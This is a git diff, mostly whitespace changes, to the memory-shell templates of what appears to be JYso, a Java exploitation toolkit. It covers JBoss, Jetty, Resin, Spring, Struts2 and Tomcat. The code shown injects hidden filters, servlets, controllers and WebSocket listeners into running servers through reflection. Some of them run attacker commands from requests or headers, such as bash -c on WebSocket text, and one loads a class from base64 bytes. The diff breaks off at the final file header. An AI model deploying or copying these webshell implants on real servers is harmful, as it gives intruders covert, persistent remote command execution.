a/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java index 36a8652..c6f885b 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBFMSFromContextF.java @@ -26,15 +26,15 @@ public class JBFMSFromContextF implements Filter { try { Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); - Object context = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + Object context = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); Object deploymentInfo = getFieldValue(context, "deploymentInfo"); - Map filters = (Map) getMethodAndInvoke(deploymentInfo, "getFilters", new Class[]{}, new Object[]{}); + Map filters = (Map) getMethodAndInvoke(deploymentInfo, "getFilters", new Class[]{}, new Object[]{}); if (!filters.containsKey(NAME)) { - Class clazz = JBFMSFromContextF.class; - Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Class clazz = JBFMSFromContextF.class; + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); Class instanceFactoryClass = Class.forName("io.undertow.servlet.api.InstanceFactory"); - Class implClass = Class.forName("io.undertow.servlet.util.ConstructorInstanceFactory"); + Class implClass = Class.forName("io.undertow.servlet.util.ConstructorInstanceFactory"); Constructor factoryConstructor = implClass.getDeclaredConstructor(new Class[]{Constructor.class}); Object factory = factoryConstructor.newInstance( @@ -60,7 +60,7 @@ public class JBFMSFromContextF implements Filter { } } catch (Exception ignored) { Object standardContext = null; - Object servletContext = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + Object servletContext = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); if (servletContext != null) { standardContext = getFieldValue(getFieldValue(servletContext, "context"), "context"); } else { @@ -75,18 +75,18 @@ public class JBFMSFromContextF implements Filter { contextClass.getDeclaredField("filterConfigs"); } - Map filterConfigs = (Map) getFieldValue(standardContext, "filterConfigs"); - Filter filter = new JBFMSFromContextF(); + Map filterConfigs = (Map) getFieldValue(standardContext, "filterConfigs"); + Filter filter = new JBFMSFromContextF(); - Class filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); - Object filterDef = filterDefClass.newInstance(); + Class filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + Object filterDef = filterDefClass.newInstance(); getMethodAndInvoke(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); getMethodAndInvoke(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); getMethodAndInvoke(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); getMethodAndInvoke(standardContext, "addFilterDef", new Class[]{filterDefClass}, new Object[]{filterDef}); - Class filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); - Object filterMap = filterMapClass.newInstance(); + Class filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + Object filterMap = filterMapClass.newInstance(); getMethodAndInvoke(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{pattern}); getMethodAndInvoke(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); @@ -96,7 +96,7 @@ public class JBFMSFromContextF implements Filter { fieldMaps.setAccessible(true); Object maps = fieldMaps.get(standardContext); - int length = Array.getLength(maps); + int length = Array.getLength(maps); Object newMaps = Array.newInstance(filterMapClass, length + 1); Array.set(newMaps, 0, filterMap); for (int i = 0; i < length; i++) { @@ -106,11 +106,11 @@ public class JBFMSFromContextF implements Filter { getMethodAndInvoke(standardContext, "addFilterMap", new Class[]{filterMapClass}, new Object[]{filterMap}); - Class config = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); + Class config = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Object apacheConfig = null; try { - Class conClass = Class.forName("org.apache.catalina.Context"); + Class conClass = Class.forName("org.apache.catalina.Context"); Constructor constructor = config.getDeclaredConstructor(conClass, filterDefClass); constructor.setAccessible(true); apacheConfig = constructor.newInstance(standardContext, filterDef); @@ -174,7 +174,7 @@ public class JBFMSFromContextF implements Filter { } public static Object createInstanceUnsafely(Class clazz) throws Exception { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Class unsafeClass = Class.forName("sun.misc.Unsafe"); Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); return getMethodAndInvoke(theUnsafeField.get(null), "allocateInstance", new Class[]{Class.class}, new Object[]{clazz}); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java index 26e1fc7..75592d3 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jboss/JBSMSFromContextS.java @@ -30,8 +30,8 @@ public class JBSMSFromContextS implements Servlet { static { try { HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); - ServletContext context = request.getServletContext(); - Field f = context.getClass().getDeclaredField("deploymentInfo"); + ServletContext context = request.getServletContext(); + Field f = context.getClass().getDeclaredField("deploymentInfo"); f.setAccessible(true); DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context); @@ -39,7 +39,7 @@ public class JBSMSFromContextS implements Servlet { Map servlets = deploymentInfo.getServlets(); if (!servlets.containsKey(NAME)) { - Class clazz = JBSMSFromContextS.class; + Class clazz = JBSMSFromContextS.class; ServletInfo servletInfo = new ServletInfo(NAME, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); deploymentInfo.addServlet(servletInfo); @@ -49,7 +49,7 @@ public class JBSMSFromContextS implements Servlet { modifiersField.setAccessible(true); modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); DeploymentImpl deployment = (DeploymentImpl) f.get(context); - ServletHandler handler = deployment.getServlets().addServlet(servletInfo); + ServletHandler handler = deployment.getServlets().addServlet(servletInfo); ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment); registration.addMapping(pattern); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java index 5906474..8e82751 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JFMSFromJMXF.java @@ -70,8 +70,8 @@ public class JFMSFromJMXF implements Filter { if (!flag) { ClassLoader classLoader = handler.getClass().getClassLoader(); - Class sourceClazz = null; - Object holder = null; + Class sourceClazz = null; + Object holder = null; try { sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); field = sourceClazz.getDeclaredField("JAVAX_API"); @@ -94,9 +94,9 @@ public class JFMSFromJMXF implements Filter { holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); - Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); Object filterMapping = clazz.newInstance(); - Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); + Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); method.setAccessible(true); method.invoke(filterMapping, holder); filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{pattern}}); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java index 5ee58d9..2d41576 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/jetty/JSMSFromJMXS.java @@ -68,8 +68,8 @@ public class JSMSFromJMXS implements Servlet { if (!flag) { ClassLoader classLoader = handler.getClass().getClassLoader(); - Class sourceClazz = null; - Object holder = null; + Class sourceClazz = null; + Object holder = null; try { sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); field = sourceClazz.getDeclaredField("JAVAX_API"); @@ -96,7 +96,7 @@ public class JSMSFromJMXS implements Servlet { // mappingx.setPathSpecs(urlPatterns); // ServletHolder.this.getServletHandler().addServletMapping(mappingx); - Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); Object servletMapping = null; try { servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java index 412a18b..bce752f 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RFMSFromThreadF.java @@ -19,12 +19,12 @@ public class RFMSFromThreadF implements Filter { ClassLoader classloader = Thread.currentThread().getContextClassLoader(); Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); - Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); - Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); - Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); + Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); + Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); + Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); - WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); + WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); Filter filter = new RFMSFromThreadF(); @@ -35,7 +35,7 @@ public class RFMSFromThreadF implements Filter { webapp.addFilter(filterConfigimpl); - FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance(); + FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance(); FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern(); filterMappingUrlpattern.addText(pattern); filterMappingUrlpattern.init(); @@ -58,7 +58,7 @@ public class RFMSFromThreadF implements Filter { fieldFilterMapperFilterMap.setAccessible(true); ArrayList orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper); - ArrayList newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); + ArrayList newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); newFilterMappings.add(filterMapping); int count = 0; @@ -82,7 +82,7 @@ public class RFMSFromThreadF implements Filter { FilterMapper loginFilterMapper = (FilterMapper) fieldWebappLoginFilterMapper.get(webapp); ArrayList orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper); - ArrayList newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); + ArrayList newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); newLoginFilterMappings.add(filterMapping); count = 0; diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java index 5f66c0e..34226e2 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/RSMSFromThreadS.java @@ -15,12 +15,12 @@ public class RSMSFromThreadS implements Servlet { static { try { - Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); - Method getContextRequest = si.getMethod("getContextRequest"); - javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null); + Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation"); + Method getContextRequest = si.getMethod("getContextRequest"); + javax.servlet.ServletRequest contextRequest = (javax.servlet.ServletRequest) getContextRequest.invoke(null); Method getServletContext = javax.servlet.ServletRequest.class.getMethod("getServletContext"); - Object web = getServletContext.invoke(contextRequest); + Object web = getServletContext.invoke(contextRequest); com.caucho.server.webapp.WebApp web1 = (com.caucho.server.webapp.WebApp) web; @@ -38,7 +38,7 @@ public class RSMSFromThreadS implements Servlet { f2.setAccessible(true); Object manager = f2.get(web1); - Field f3 = ServletManager.class.getDeclaredField("_servlets"); + Field f3 = ServletManager.class.getDeclaredField("_servlets"); f3.setAccessible(true); HashMap map = (HashMap) f3.get(manager); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java index 5db9e80..beac079 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/resin/WsResin.java @@ -13,17 +13,17 @@ public class WsResin implements WebSocketListener { static { try { - ClassLoader classloader = Thread.currentThread().getContextClassLoader(); - Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); - Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); - String protocol = (String) contextRequest.getClass().getMethod("getHeader").invoke(contextRequest, "Upgrade"); + ClassLoader classloader = Thread.currentThread().getContextClassLoader(); + Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); + Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); + String protocol = (String) contextRequest.getClass().getMethod("getHeader").invoke(contextRequest, "Upgrade"); //String protocol = request.getHeader("Upgrade"); if (!"websocket".equals(protocol)) { System.out.println("not websocket"); System.exit(0); } - WebSocketListener listener = new WsResin(); - WebSocketServletRequest wsReq = (WebSocketServletRequest) contextRequest; + WebSocketListener listener = new WsResin(); + WebSocketServletRequest wsReq = (WebSocketServletRequest) contextRequest; wsReq.startWebSocket(listener); } catch (Exception ignored) { } @@ -32,7 +32,7 @@ public class WsResin implements WebSocketListener { @Override public void onReadText(WebSocketContext context, Reader is) throws IOException { StringBuilder sb = new StringBuilder(); - int ch; + int ch; while ((ch = is.read()) >= 0) { sb.append((char) ch); } @@ -44,9 +44,9 @@ public class WsResin implements WebSocketListener { } else { process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", sb.toString()}); } - InputStream inputStream = process.getInputStream(); + InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); - int i; + int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); inputStream.close(); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java index 25db2bc..3cce8d5 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringControllerMS.java @@ -14,11 +14,11 @@ public class SpringControllerMS { static { try { getClassLoader(); - Class utilClass = s("org.springframework.web.servlet.support.RequestContextUtils"); - Class holder = s("org.springframework.web.context.request.RequestContextHolder"); + Class utilClass = s("org.springframework.web.servlet.support.RequestContextUtils"); + Class holder = s("org.springframework.web.context.request.RequestContextHolder"); Class reqMappingHandler = s("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); - Class servletRequest = s("javax.servlet.ServletRequest"); + Class servletRequest = s("javax.servlet.ServletRequest"); Class httpServletRequest = s("javax.servlet.http.HttpServletRequest"); // 获取当前应用上下文 @@ -49,7 +49,7 @@ public class SpringControllerMS { Object mappingRegistry = f.get(mapping); // 反射调用 MappingRegistry 的 register 方法 - Class c = s("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); + Class c = s("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); Method[] ms = c.getDeclaredMethods(); // 判断当前路径是否已经添加 @@ -74,16 +74,16 @@ public class SpringControllerMS { if (flag) { // 初始化一些注册需要的信息 Boolean isSpringHigh = false; - Object url; - Object pPRC = null; - Class requestConditionClass; + Object url; + Object pPRC = null; + Class requestConditionClass; // 高版本 Spring 期望使用 PathPatternsRequestCondition try { requestConditionClass = s("org.springframework.web.servlet.mvc.condition.PathPatternsRequestCondition"); - Class pathPatternParserClass = s("org.springframework.web.util.pattern.PathPatternParser"); - Constructor constructor = requestConditionClass.getDeclaredConstructor(pathPatternParserClass, String[].class); + Class pathPatternParserClass = s("org.springframework.web.util.pattern.PathPatternParser"); + Constructor constructor = requestConditionClass.getDeclaredConstructor(pathPatternParserClass, String[].class); constructor.setAccessible(true); pPRC = constructor.newInstance(pathPatternParserClass.newInstance(), new String[]{pattern}); isSpringHigh = true; @@ -97,12 +97,12 @@ public class SpringControllerMS { url = constructor.newInstance(new Object[]{new String[]{pattern}}); Class requestMethodsRequestCondition = s("org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition"); - Class requestMappingInfo = s("org.springframework.web.servlet.mvc.method.RequestMappingInfo"); + Class requestMappingInfo = s("org.springframework.web.servlet.mvc.method.RequestMappingInfo"); - Class params = s("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"); - Class headers = s("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"); - Class consumes = s("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"); - Class produces = s("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"); + Class params = s("org.springframework.web.servlet.mvc.condition.ParamsRequestCondition"); + Class headers = s("org.springframework.web.servlet.mvc.condition.HeadersRequestCondition"); + Class consumes = s("org.springframework.web.servlet.mvc.condition.ConsumesRequestCondition"); + Class produces = s("org.springframework.web.servlet.mvc.condition.ProducesRequestCondition"); Class requestCondition = s("org.springframework.web.servlet.mvc.condition.RequestCondition"); // 实例化 RequestMethodsRequestCondition @@ -167,12 +167,12 @@ public class SpringControllerMS { } public void readObjectToData() throws Exception { - Class holder = s("org.springframework.web.context.request.RequestContextHolder"); - Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); + Class holder = s("org.springframework.web.context.request.RequestContextHolder"); + Method getAttributes = getMethodByClass(holder, "currentRequestAttributes", new Class[]{}); getAttributes.setAccessible(true); Object servletRequestAttributes = getAttributes.invoke(null); - Object request = getMethodAndInvoke(servletRequestAttributes, "getRequest", new Class[]{}, new Object[]{}); - Object response = getMethodAndInvoke(servletRequestAttributes, "getResponse", new Class[]{}, new Object[]{}); + Object request = getMethodAndInvoke(servletRequestAttributes, "getRequest", new Class[]{}, new Object[]{}); + Object response = getMethodAndInvoke(servletRequestAttributes, "getResponse", new Class[]{}, new Object[]{}); drop(request, response); } diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java index 47fabbb..9a16183 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/spring/SpringWebfluxMS.java @@ -39,7 +39,7 @@ public class SpringWebfluxMS implements WebFilter, Function newAllFilters = new ArrayList(defaultWebFilterChain.getFilters()); + Object handler = getFieldValue(defaultWebFilterChain, "handler"); + List newAllFilters = new ArrayList(defaultWebFilterChain.getFilters()); newAllFilters.add(0, new SpringWebfluxMS()); DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters); - Field f = filteringWebHandler.getClass().getDeclaredField("chain"); + Field f = filteringWebHandler.getClass().getDeclaredField("chain"); f.setAccessible(true); Field modifersField = Field.class.getDeclaredField("modifiers"); modifersField.setAccessible(true); @@ -114,7 +114,7 @@ public class SpringWebfluxMS implements WebFilter, Function filter(ServerWebExchange exchange, WebFilterChain chain) { String value = exchange.getRequest().getHeaders().getFirst(HEADER_KEY); - String cmd = exchange.getRequest().getHeaders().getFirst(CMD_HEADER); + String cmd = exchange.getRequest().getHeaders().getFirst(CMD_HEADER); if (value != null && value.contains(HEADER_VALUE)) { Mono bufferStream = exchange.getFormData().flatMap(new SpringWebfluxMS(cmd)); return exchange.getResponse().writeWith(bufferStream); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java index dc74fc6..0601d44 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/struts2/Struts2ActionMS.java @@ -11,10 +11,10 @@ public class Struts2ActionMS { ClassLoader loader = Thread.currentThread().getContextClassLoader(); // 用 Context ClassLoader 加载,防止映射后再访问不到 - String selfName = Struts2ActionMS.class.getName(); + String selfName = Struts2ActionMS.class.getName(); byte[] classBytes = base64Decode(thisClass); - Class loaderClass = Class.forName("java.lang.ClassLoader", false, loader); + Class loaderClass = Class.forName("java.lang.ClassLoader", false, loader); java.lang.reflect.Method defineClass = loaderClass.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.TYPE, Integer.TYPE); defineClass.setAccessible(true); defineClass.invoke(loader, selfName, classBytes, Integer.valueOf("0"), classBytes.length); @@ -24,16 +24,16 @@ public class Struts2ActionMS { pattern = pattern.substring(1); java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); filed.setAccessible(true); - ThreadLocal context = (ThreadLocal) filed.get(null); - Object con = context.get(); - java.lang.reflect.Method method = actionContextClass.getDeclaredMethod("getActionInvocation", (Class) null); + ThreadLocal context = (ThreadLocal) filed.get(null); + Object con = context.get(); + java.lang.reflect.Method method = actionContextClass.getDeclaredMethod("getActionInvocation", (Class) null); method.setAccessible(true); - Object inv = method.invoke(con); - Object invObj = getFieldValue(inv, "proxy"); - Object configuration = getFieldValue(invObj, "configuration"); - Object runtimeConf = getFieldValue(configuration, "runtimeConfiguration"); - Object map = getFieldValue(runtimeConf, "namespaceActionConfigs"); - java.util.Map m = (java.util.Map) getFieldValue(map, "m"); + Object inv = method.invoke(con); + Object invObj = getFieldValue(inv, "proxy"); + Object configuration = getFieldValue(invObj, "configuration"); + Object runtimeConf = getFieldValue(configuration, "runtimeConfiguration"); + Object map = getFieldValue(runtimeConf, "namespaceActionConfigs"); + java.util.Map m = (java.util.Map) getFieldValue(map, "m"); java.lang.reflect.Constructor constructor = Class.forName("com.opensymphony.xwork2.config.entities.ActionConfig", false, loader).getDeclaredConstructor(new Class[]{String.class, String.class, String.class}); constructor.setAccessible(true); @@ -72,7 +72,7 @@ public class Struts2ActionMS { } public static byte[] base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); @@ -90,18 +90,18 @@ public class Struts2ActionMS { } public String execute() throws Exception { - Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext"); - java.lang.reflect.Method getContextMethod = actionContextClass.getDeclaredMethod("getContext", (Class) null); + Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext"); + java.lang.reflect.Method getContextMethod = actionContextClass.getDeclaredMethod("getContext", (Class) null); getContextMethod.setAccessible(true); - Object actionContext = getContextMethod.invoke(null); - java.lang.reflect.Method get = actionContextClass.getDeclaredMethod("get", String.class); + Object actionContext = getContextMethod.invoke(null); + java.lang.reflect.Method get = actionContextClass.getDeclaredMethod("get", String.class); get.setAccessible(true); - Object req = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); - Class wrapperClass = Class.forName("javax.servlet.ServletRequestWrapper"); - java.lang.reflect.Method method = wrapperClass.getDeclaredMethod("getRequest", (Class) null); + Object req = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletRequest"); + Class wrapperClass = Class.forName("javax.servlet.ServletRequestWrapper"); + java.lang.reflect.Method method = wrapperClass.getDeclaredMethod("getRequest", (Class) null); method.setAccessible(true); Object realObj = method.invoke(req); - Object resp = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); + Object resp = get.invoke(actionContext, "com.opensymphony.xwork2.dispatcher.HttpServletResponse"); executeAction(realObj, resp); return null; } diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java index bccea01..c60891f 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TEXMSFromThread.java @@ -14,8 +14,8 @@ import java.util.concurrent.TimeUnit; public class TEXMSFromThread extends ThreadPoolExecutor { static { try { - ThreadPoolExecutor exec = null; - NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); + ThreadPoolExecutor exec = null; + NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); try { exec = (ThreadPoolExecutor) getFieldValue(nioEndpoint, "executor"); } catch (ClassCastException e) { @@ -39,7 +39,7 @@ public class TEXMSFromThread extends ThreadPoolExecutor { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { - Object target = getFieldValue(thread, "target"); + Object target = getFieldValue(thread, "target"); Object jioEndPoint = null; try { jioEndPoint = getFieldValue(target, "this$0"); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java index dad288a..9038c55 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromJMX.java @@ -29,7 +29,7 @@ public class TFMSFromJMX implements Filter { static { try { MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); - Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java index a82e110..57efc9f 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromRequest.java @@ -40,7 +40,7 @@ public class TFMSFromRequest implements Filter { public static void getRequestAndResponse() { try { - boolean flag = false; + boolean flag = false; Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads"); for (int i = 0; i < threads.length; ++i) { @@ -61,7 +61,7 @@ public class TFMSFromRequest implements Filter { for (int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); target = getFieldValue(processor, "req"); - Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); + Object req = target.getClass().getMethod("getNote", Integer.TYPE).invoke(target, new Integer(1)); String value = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, new String(HEADER_KEY)); if (value != null && value.contains(HEADER_VALUE)) { request = (HttpServletRequest) req; @@ -110,12 +110,12 @@ public class TFMSFromRequest implements Filter { public static void addFilter() { ServletContext servletContext = request.getServletContext(); - Filter filter = new TFMSFromRequest(); - String filterName = NAME; - String url = pattern; + Filter filter = new TFMSFromRequest(); + String filterName = NAME; + String url = pattern; if (servletContext.getFilterRegistration(filterName) == null) { - StandardContext standardContext = null; - Field stateField = null; + StandardContext standardContext = null; + Field stateField = null; FilterRegistration.Dynamic filterRegistration = null; try { @@ -137,8 +137,8 @@ public class TFMSFromRequest implements Filter { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } - Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); - Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext))); + Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); + Object[] filterMaps = (Object[]) ((Object[]) ((Object[]) findFilterMaps.invoke(standardContext))); for (int i = 0; i < filterMaps.length; ++i) { Object filterMapObj = filterMaps[i]; diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java index 5bd4ec7..f939452 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TFMSFromThread.java @@ -36,8 +36,8 @@ public class TFMSFromThread implements Filter { } catch (Exception ignored) { Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); field.setAccessible(true); - Object root = field.get(webappClassLoaderBase); - Field field2 = root.getClass().getDeclaredField("context"); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); field2.setAccessible(true); standardContext = (StandardContext) field2.get(root); diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/tomcat/TLMSFromJMX.java index 